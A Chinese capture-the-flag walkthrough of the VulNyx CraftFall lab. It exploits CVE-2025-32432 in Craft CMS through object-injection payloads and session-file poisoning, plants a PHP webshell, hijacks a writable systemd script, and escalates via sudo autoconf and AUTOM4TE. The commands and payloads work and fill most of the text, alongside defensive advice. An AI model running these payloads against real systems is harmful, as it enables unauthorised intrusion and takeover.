跳到主要内容

VulNyx CraftFall 通关记录|CVE-2025-32432 未授权 RCE 与 autoconf 提权

靶机链接:CraftFall

本文记录 VulNyx CraftFall 靶机的完整通关过程:通过 Craft CMS 对象注入与会话文件包含获得 www-data 命令执行权限,劫持 systemd 定时脚本切换至 zer0arc4,最终利用 sudo autoconf 与保留的 AUTOM4TE 环境变量提权至 root,获取两枚 Flag。


0x01 基本信息

名称IP / 标识说明
Kali Linux192.168.1.109攻击机
CraftFall192.168.1.121craft.nyx / Craftfall.lanDebian 13 靶机(Craft CMS 5.6.16 / PHP 8.4.24)

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp OpenSSH 10.0p2、80/tcp Apache 2.4.68,53/tcp 为 RustScan 误报 closed锁定 Web 入口
Web 指纹X-Powered-By: Craft CMS/admin/login 标题 Sign In - Craftfall、错误页堆栈全量泄露确认 Craft CMS 5.x 与 devMode 开启
版本确认/var/www/craft/composer.lockcraftcms/cms 5.6.16落入 CVE-2025-32432(5.x ≤ 5.6.16)影响范围
漏洞检测generate-transform 传入 FnStream._fn_close=phpcredits,响应 PHP 信息页验证未授权函数调用能力
信息泄露同上 gadget 改用 phpinfo,取得 session.save_path=/var/lib/php/sessions定位会话文件路径
RCE原始 URL 向 __returnUrl 投毒 + yii\rbac\PhpManager itemFile 引入会话文件获得 www-data 执行
立足点cpresources/ 属主 www-data 可写,写入 s.php稳定的命令执行通道
提权 zer0arc4zer0arc4-job.timer 每分钟以 zer0arc4 执行 0777/usr/local/bin/zer0arc4-job.sh劫持脚本写入公钥获得 SSH
提权 root(root) NOPASSWD: /usr/bin/autoconf + env_keep+=AUTOM4TE篡改 AUTOM4TE 使 root 执行恶意脚本

0x02 侦察与信息收集

1. 端口扫描

rustscan -a 192.168.1.121 --range 1-65535 --ulimit 5000 \
-- -sV -sC -T4 -Pn -oN /tmp/opencode/rustscan_nmap.txt

Nmap 结果:

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
53/tcp closed domain reset ttl 64
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.68
|_http-title: Did not follow redirect to http://craft.nyx/
|_http-server-header: Apache/2.4.68 (Debian)
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
Service Info: Host: 192.168.1.82; OS: Linux; CPE: cpe:/o:linux:linux_kernel

开放端口汇总:

端口服务版本 / 指纹说明
22/tcpSSHOpenSSH 10.0p2 Debian 7+deb13u4远程登录服务
80/tcpHTTPApache httpd 2.4.68 (Debian)Craft CMS 站点,重定向 craft.nyx

分析:

  • 真实开放仅 22 SSH 与 80 HTTP,53 为 RustScan 误报,Nmap 复核 closed。
  • 80 端口重定向至虚拟主机 http://craft.nyx/,需写入 hosts:
echo "192.168.1.121 craft.nyx craftfall.lan" | sudo tee -a /etc/hosts

0x03 Web 指纹与版本确认

1. 首页与后台指纹

curl -s -i -L http://craft.nyx/ | head -n 20
whatweb -a 3 http://craft.nyx/
HTTP/1.1 200 OK
Server: Apache/2.4.68 (Debian)
X-Robots-Tag: none
X-Powered-By: Craft CMS
Content-Type: text/html; charset=UTF-8

<title>Welcome to Craft CMS</title>
http://craft.nyx/ [200 OK] Apache[2.4.68], HTML5, Debian Linux,
Title[Welcome to Craft CMS], UncommonHeaders[x-robots-tag], X-Powered-By[Craft CMS]

/admin 未登录时 302 跳转登录页,页面标题暴露站点名:

curl -s -i http://craft.nyx/admin | head -n 15
curl -s http://craft.nyx/admin/login | grep -o "<title>.*</title>"
HTTP/1.1 302 Found
Location: http://craft.nyx/admin/login

<title>Sign In - Craftfall</title>

2. 报错页与 devMode

访问不存在路径会返回完整的 Yii 异常页,堆栈中泄露物理路径 /var/www/craft 与依赖版本:

curl -s http://craft.nyx/NOTFOUND -o err.html
grep -oE 'Yii Framework</a>/<a[^>]*>[0-9.]+' err.html | sed 's/<[^>]*>//g' | head -1
grep -oE 'yii\\web\\NotFoundHttpException[^<]{0,140}' err.html | head -1
Yii Framework/2.0.51
yii\web\NotFoundHttpException: Page not found. in /var/www/craft/vendor/craftcms/cms/src/web/Request.php:1409

3. 精确版本确认

/composer.lock/.env 等敏感文件不可直接下载,但获得 RCE 后可读取:

grep -m1 -A2 '"name": "craftcms/cms"' /var/www/craft/composer.lock
"name": "craftcms/cms",
"version": "5.6.16",
版本确认

Craft CMS 5.6.16 落在 5.x 分支受影响区间(>= 5.0.0-RC1, <= 5.6.16),该分支修复版本为 5.6.17,受未授权 RCE 漏洞 CVE-2025-32432 影响。

4. CVE 适用性分析

CVE / 漏洞影响版本5.6.16 适用性
CVE-2025-324323.x ≤ 3.9.14、4.x ≤ 4.14.14、5.x ≤ 5.6.16(修复 3.9.15 / 4.14.15 / 5.6.17)适用,未授权 generate-transform 对象注入 → RCE,主利用链
CVE-2023-41892Craft CMS 4.0.0-RC1 ~ 4.4.14不适用,目标为 5.x
CVE-2024-56145Craft CMS < 5.5.8(需 register_argc_argv=On不适用,版本已修复

0x04 CVE-2025-32432 漏洞检测(phpcredits 无害验证)

1. 漏洞原理

assets/generate-transform 动作存在两处缺陷的组合:

  1. 未强制校验登录与权限,未授权即可访问;
  2. 请求体中的 handle 参数被传入 Craft::createObject() 构造对象,攻击者可控制 class / __class / __construct() 等配置键,造成 PHP 对象注入

利用 gadget(无需登录):

  • GuzzleHttp\Psr7\FnStreamclose() 会调用 _fn_close 属性所指向的 callable;
  • yii\rbac\PhpManager 在初始化时会 require itemFile 属性指定文件。

先取会话与 CSRF Token:

curl -s -c cj.txt http://craft.nyx/admin/login -o login.html
CSRF=$(grep -oP 'name="CRAFT_CSRF_TOKEN"\s+value="\K[^"]+' login.html)

2. 检测请求(执行 phpcredits)

curl -s -i -b cj.txt -X POST \
"http://craft.nyx/index.php?p=actions/assets/generate-transform" \
-H "Content-Type: application/json" -H "X-CSRF-Token: $CSRF" \
-d '{"assetId":42,"handle":{"width":200,"height":200,"as x":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpcredits"}}}'

响应出现 PHP 信息页,证实未授权函数调用成功:

HTTP/1.1 200 OK
<title>PHP 8.4.24 - phpinfo()</title>
<h1>PHP Credits</h1>

0x05 CVE-2025-32432 完整利用(会话投毒 → www-data)

1. 获取会话与 CSRF

curl -sL -c cookies.txt "http://craft.nyx/index.php?p=admin/dashboard" -o dash.html
CSRF=$(grep -oP '"csrfTokenValue":"\K[^"]+' dash.html)
SID=$(awk '$6=="CraftSessionId"{print $7}' cookies.txt)
echo "SID=$SID"

2. phpinfo gadget 泄露 session 路径

cat > p_phpinfo.json <<'JSON'
{"assetId":11,"handle":{"width":123,"height":123,"as s":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}
JSON

curl -s -b cookies.txt -H "X-CSRF-Token: $CSRF" -H "Content-Type: application/json" \
--data @p_phpinfo.json \
"http://craft.nyx/index.php?p=admin/actions/assets/generate-transform" \
| grep -o 'session.save_path</td><td class="v">[^<]*'
session.save_path</td><td class="v">/var/lib/php/sessions

3. 会话投毒(关键:原始 URL 不编码)

Craft 会把请求 URL 原样写入 session 的 __returnUrl。因此投毒 URL 中的 PHP 代码必须以未编码形式出现在 HTTP 请求行中。curl 8.x 会以 URL rejected: Malformed input 拒绝含 <>" 的原始 URL,可用 --request-target 直接指定请求行:

curl -s -o /dev/null -b cookies.txt \
--request-target "/index.php?p=admin/dashboard&a=<?=system(\$_GET['cmd']);die()?>" \
'http://craft.nyx/'
踩坑记录:URL 编码会写入“惰性”代码

使用 requests 等库时默认会对 a 参数做百分号编码(%3C%3F...),session 文件中保存的是编码后的文本,require 时不会执行。公开 PoC 通过 patch urllib3 在连接层 unquote URL 解决此问题。

4. PhpManager 触发 RCE

cat > p_rce.json <<'JSON'
{"assetId":11,"handle":{"width":1,"height":1,"as h":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_SESSIONID"}]}}}
JSON

sed -i "s/SESSIONID/$SID/" p_rce.json

curl -s -b cookies.txt -H "X-CSRF-Token: $CSRF" -H "Content-Type: application/json" \
--data @p_rce.json \
"http://craft.nyx/index.php?p=admin/actions/assets/generate-transform&cmd=id;hostname"

PhpManager::load() 引入会话文件,注入的 system() 执行成功:

0ab40f3d...__returnUrl|s:78:"http://craft.nyx/index.php?p=admin/dashboard&a=uid=33(www-data) gid=33(www-data) groups=33(www-data)
Craftfall

5. 公开 PoC 一键利用

git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT.git
cd CVE-2025-32432-exploit-by-P34NUT
python3 craftcms_rce_exploit_php.py -u http://craft.nyx -c "id"
[+++++++++] Vulnerable target
[+] Found session path: /var/lib/php/sessions
[*********************************] Server response
uid=33(www-data) gid=33(www-data) groups=33(www-data)

6. 配套脚本

配套脚本 rce.py —— 将上述检测与利用链封装为单文件脚本:自动完成会话获取、session.save_path 泄露、原始 URL 会话投毒与 PhpManager 触发,命令经十六进制编码传输,避免特殊字符破坏请求。

python3 rce.py -u http://craft.nyx --check
python3 rce.py -u http://craft.nyx -c "id; hostname; whoami"
[+] 目标存在 CVE-2025-32432, session.save_path=/var/lib/php/sessions

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Craftfall
www-data

0x06 稳定立足点:cpresources WebShell

1. 检查目录权限

Web 根目录中 cpresources/ 属主为 www-data 且可写(web/ 本身属主为 1001:1001,系统中无对应账号,当前用户不可写):

ls -la /var/www/craft/web/ /var/www/craft/web/cpresources/ | head -n 12
drwxrwxr-x 3 1001 1001 4096 Nov 18 2025 /var/www/craft/web/
drwxrwxr-x 30 www-data www-data 4096 Sep 19 15:07 /var/www/craft/web/cpresources/

2. 写入并验证 WebShell

经 RCE 写入 WebShell:

printf '%s' '<?php system($_GET["c"]); ?>' > /var/www/craft/web/cpresources/s.php

验证:

curl -s -G "http://craft.nyx/cpresources/s.php" --data-urlencode "c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. 读取应用配置与数据库凭据

读取应用配置与数据库账号(为横向做准备):

cat /var/www/craft/.env
CRAFT_SECURITY_KEY=dIKL60H7TRSJMxoCDXAe1BuugPTe8zN4
CRAFT_DEV_MODE=true
DB_SERVER="127.0.0.1"
DB_DATABASE="craftdb"
DB_USER="rudra"
DB_PASSWORD="CraftDB@2026!"
数据库侧信息

rudra 仅拥有 craftdb.* 权限(无 FILE/SUPER),无法借 MySQL 写文件;users 表中管理员 admin / [email protected] 的 bcrypt 哈希成本 $2y$13$,破解成本高且非必要,未纳入主链。


0x07 权限提升:www-data → zer0arc4(systemd 定时脚本劫持)

1. 枚举发现每分钟执行的自定义任务

systemctl list-timers
NEXT UNIT ACTIVATES
Mon 2026-09-21 23:40:35 EDT zer0arc4-job.timer zer0arc4-job.service
systemctl cat zer0arc4-job.timer
systemctl cat zer0arc4-job.service
# /etc/systemd/system/zer0arc4-job.timer
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Unit=zer0arc4-job.service

# /etc/systemd/system/zer0arc4-job.service
[Service]
Type=oneshot
User=zer0arc4
ExecStart=/usr/local/bin/zer0arc4-job.sh

2. 脚本权限错误(0777)

ls -la /usr/local/bin/zer0arc4-job.sh
cat /usr/local/bin/zer0arc4-job.sh
-rwxrwxrwx 1 zer0arc4 zer0arc4 348 Sep 20 10:03 /usr/local/bin/zer0arc4-job.sh

脚本正文仅写日志,但作者备注直接点明了机器考察点:

#!/bin/bash
echo "zer0arc4 scheduled task executed: $(date)" >> /tmp/zer0arc4-job.log

# The actual vulnerability is in Craft CMS 5.6.16 itself.
# Make sure to escalate to root to fully complete the machine.
定时脚本权限

0777 全局可写 + 每分钟以 zer0arc4 身份执行 = 直接劫持。

3. 劫持脚本安装 SSH 公钥

在 Kali 本机生成脚本

读取本地公钥并生成劫持脚本(公钥内容不直接出现在文中):

PUB_KEY=$(cat ~/.ssh/id_ed25519.pub)

cat > hijack.sh <<EOF
#!/bin/bash
mkdir -p /home/zer0arc4/.ssh
echo "$PUB_KEY" > /home/zer0arc4/.ssh/authorized_keys
chmod 700 /home/zer0arc4/.ssh
chmod 600 /home/zer0arc4/.ssh/authorized_keys
EOF

通过 WebShell 覆盖定时脚本

在 Kali 本机发起请求,实际命令由靶机 www-data 执行。以 Base64 方式覆盖目标脚本(等待下一次 timer 触发):

B64=$(base64 -w0 hijack.sh)
curl -s -G "http://craft.nyx/cpresources/s.php" \
--data-urlencode "c=echo $B64 | base64 -d > /usr/local/bin/zer0arc4-job.sh"
为什么不需要 chmod

覆写依赖的是文件自身 0777 的写权限:> 截断并写入后,文件属主与权限位保持不变(仍是 zer0arc4:zer0arc40777),systemd 依然可以执行。而 chmod 要求属主身份或 CAP_FOWNER,www-data 对非本人属主的文件执行只会得到 Operation not permitted,这一步既多余也会报错。

为什么 WebShell 看不到 /tmp 中的文件

zer0arc4-job.service 并未启用 PrivateTmpPrivateTmp=no),脚本写入的是宿主机真实 /tmp;而 Debian 的 apache2.service 自带 PrivateTmp=yes,WebShell 进程继承 Apache 的私有 /tmp 命名空间,因此看起来“什么都没有”。可在靶机上核对:

systemctl show zer0arc4-job.service -p PrivateTmp # PrivateTmp=no
systemctl show apache2.service -p PrivateTmp # PrivateTmp=yes
ls -la /tmp/zer0arc4-job.log # 服务真实写入的日志
ls -d /tmp/systemd-private-*-apache2.service-* # Apache 私有 /tmp 命名空间

因此公钥直接落到 /home/zer0arc4/.ssh/,不依赖 /tmp 中转。

4. SSH 登录并获取 User Flag

从 Kali 以一次性命令读取 User Flag:

ssh -i ~/.ssh/id_ed25519 [email protected] 'id; cat ~/user.txt'
uid=1000(zer0arc4) gid=1000(zer0arc4) groups=1000(zer0arc4),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),104(bluetooth)
f9020bb83315a9de45629cf310434d18

上述命令执行完即退出。继续提权前,登录交互式 Shell,下一节的命令均在靶机的 zer0arc4 会话中执行

ssh -i ~/.ssh/id_ed25519 [email protected]
# 登录成功后提示符:zer0arc4@Craftfall:~$

0x08 权限提升:zer0arc4 → root(sudo autoconf + AUTOM4TE 劫持)

1. sudo 权限检查

在靶机的 zer0arc4 会话中执行:

sudo -l
Matching Defaults entries for zer0arc4 on Craftfall:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
use_pty, env_keep+=AUTOM4TE

User zer0arc4 may run the following commands on Craftfall:
(root) NOPASSWD: /usr/bin/autoconf

两个致命配置的组合:

  1. NOPASSWD 允许 zer0arc4 以 root 运行 /usr/bin/autoconf
  2. env_keep+=AUTOM4TEAUTOM4TE 环境变量原样保留传递给 root 进程,而 autoconf 内部会调用 $AUTOM4TE 指向的 m4 包装程序(典型 GTFOBins 类提权)。

2. AUTOM4TE 指向恶意脚本提权

cat > /tmp/a4.sh <<'EOF'
#!/bin/sh
id > /tmp/root-proof.txt
cp /root/root.txt /tmp/root-flag.txt
chmod 666 /tmp/root-proof.txt /tmp/root-flag.txt
chmod u+s /bin/bash
EOF
chmod +x /tmp/a4.sh

cd /tmp && AUTOM4TE=/tmp/a4.sh sudo -n /usr/bin/autoconf -o /dev/null /dev/null

验证脚本已由 root 执行:

cat /tmp/root-proof.txt
uid=0(root) gid=0(root) groups=0(root)

同时 /bin/bash 被加上 SUID 位,可直接获得 euid=0 的 root shell:

ls -la /bin/bash
bash -p
id
-rwsr-xr-x 1 root root 1298416 Jul 12 12:58 /bin/bash

uid=1000(zer0arc4) gid=1000(zer0arc4) euid=0(root) groups=1000(zer0arc4),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),104(bluetooth)

3. 获取 Root Flag

在 root shell 中可直接读取(也可读取脚本复制到 /tmp 的副本):

cat /root/root.txt
ls -la /root/root.txt
b0c8813f766879ea210fdc8cd8c9c85c
-rw-r--r-- 1 root root 33 Sep 19 16:19 /root/root.txt

0x09 最终成果

User Flag

  • 路径: /home/zer0arc4/user.txt
  • 权限: 400(属主 zer0arc4)
  • 内容: f9020bb83315a9de45629cf310434d18

Root Flag

  • 路径: /root/root.txt
  • 权限: 644
  • 内容: b0c8813f766879ea210fdc8cd8c9c85c

0x0A 漏洞汇总

#漏洞名称严重程度漏洞位置利用方式与核心机理
1Craft CMS 未授权 RCE(CVE-2025-32432)Criticalactions/assets/generate-transformhandle 对象注入 → FnStream 调函数 / PhpManager 引入会话文件
2对象注入导致敏感信息泄露High同上FnStream._fn_close=phpinfo 泄露 session.save_path、路径与配置
3PHP 会话文件污染High__returnUrl 写入用户可控 URL原始 URL 注入 PHP 代码,配合文件包含执行
4systemd 定时任务脚本全局可写Critical/usr/local/bin/zer0arc4-job.sh0777覆盖脚本,以 zer0arc4 身份写入 SSH 公钥
5sudo 过度授权与危险环境变量保留Critical(root) NOPASSWD: /usr/bin/autoconf + env_keep+=AUTOM4TE篡改 AUTOM4TE 使 root 执行任意脚本
6生产配置泄露(devMode/密钥落盘)Medium/var/www/craft/.env堆栈全量回显、DB 凭据与 Security Key 明文可读

0x0B 复盘总结与防御建议

  1. 及时升级 Craft CMS: CVE-2025-32432 影响 3.x / 4.x / 5.x 多个分支,官方已在 3.9.15 / 4.14.15 / 5.6.17 分别修复。对 generate-transform 等动作需同时收紧权限校验对象构造入口,禁止用户可控的 class/__class 进入 Craft::createObject()
  2. 关闭生产 devMode 本机错误页完整泄露依赖版本、路径与源码行号,直接降低了漏洞定位成本;生产环境应强制 CRAFT_DEV_MODE=false
  3. 会话内容不可信: __returnUrl 等会话字段会落盘到 session.save_path,一旦存在文件包含类缺陷即可升级为 RCE。应对来源 URL 做白名单校验,并将会话存储与代码执行路径隔离。
  4. 服务脚本最小权限: systemd 服务引用的脚本必须 root 独占且不可被低权用户改写;避免 0777。同理,脚本及其父目录的属主应为 root。
  5. 收敛 sudo 授权: 撤销 env_keep+=AUTOM4TE(以及其他会被调用程序读取的敏感环境变量白名单),移除 autoconfNOPASSWD;如确需运行构建工具,应封装受限包装脚本。
  6. 配置文件与凭据保护: .env 中数据库口令与 CRAFT_SECURITY_KEY 应严格限制读取权限并在泄露后轮换;Web 目录(如 cpresources/)禁止执行 PHP(Apache php_flag engine off / Nginx location 限制)。

0x0C 附件下载

附件文件作用与功能说明下载链接
rce.pyCVE-2025-32432 一键利用脚本:自动获取会话与 CSRF、泄露 session.save_path、原始 URL 会话投毒并经 PhpManager 触发命令执行;支持 --check 漏洞探测与 -c 执行命令下载